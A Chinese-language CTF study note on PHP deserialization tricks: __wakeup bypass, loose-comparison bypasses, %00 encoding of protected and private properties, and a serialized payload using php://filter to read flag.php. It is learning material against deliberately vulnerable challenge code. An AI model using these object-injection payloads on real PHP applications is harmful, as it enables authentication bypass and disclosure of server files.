最近刷题我个人遇见的一些php反序列化的题型,都很有意思,也值得加深学习,可能说明的不详细不充分不清晰,有些点没点到,还请各位大佬多多指点qwq
weakup()绕过
php的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup();
如:p=O:6:“HaHaHa”:**2**:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:4:“wllm”;}
一般做CTF题目时绕过的方法就是:先序列化字符串,然后使序列化后字符串中属性的个数大于真实对象中属性的个数,即可绕过__wakeup 。
则改为p=O:6:“HaHaHa”:**3**:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:4:“wllm”;}
弱比较
在==弱比较中,可以用true来绕过,比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php show_source(__FILE__); $username = "this_is_secret"; $password = "this_is_not_known_to_you"; include("flag.php"); $info = isset($_GET['info'])? $_GET['info']: "" ; $data_unserialize = unserialize($info); if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){ echo $flag; }else{ echo "username or password error!";
}
|
在判断username和passwd时使用了==的弱比较,只要让username和passwd为true即可
则反序列化中username和passwd的值应该为b:1
1
| ?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
还有一种弱比较,2==”2”。如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
在这之中,process判断op==”2”,而在__destruct中判断op===”2”,我们要让op进入process那个op==”2”中,不受
__destruct中将2改为1,则我们要利用强比较和弱比较,我们应该反序列化数字2来绕过
如果是
1
| O:11:"FileHandler":1:{s:2:"op";s:1:"2"}
|
则会调用__destruct
如果是
1
| O:11:"FileHandler":1:{s:2:"op";i:2}
|
则不会调用到__destruct中的if判断,来达到实现process中read()
属性比较不严谨绕过
属性序列化可以参考本文章
【PHP】反序列化漏洞(又名“PHP对象注入”)_对象注入 unserialize() 函数进行攻击-CSDN博客
PHP 7.0以上的版本对属性的类型不严格
在定义的protected属性中,如
1 2 3 4 5
| class FileHandler { protected $op; protected $filename; protected $content; }
|
但是我们反序列化时可以用public属性来写入,相当于public的值赋给protected
protected反序列化后,会出现%00标记无法出现,要在’*‘两侧补上%00
1
| O:11:"FileHandler":3:{s:5:"*op";s:1:"2";s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
|
然后改为public
1
| O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
|
private属性反序列化
例如
1 2 3 4
| class Name { private $name="xiaoming"; private $passwd="114514"; }
|
我们反序列化后为
1
| O:4:"Name":2:{s:10:"Namename";s:8:"xiaoming";s:12:"Namepasswd";s:6:"114514";}
|
但是private格式要在变量名前添加标记%00(classname)%00
则我们最终payload是
1
| O:4:"Name":2:{s:10:"%00Name%00name";s:8:"xiaoming";s:12:"%00Name%00passwd";s:6:"114514";}
|
Written by lzz0403
A New player. Keep learning!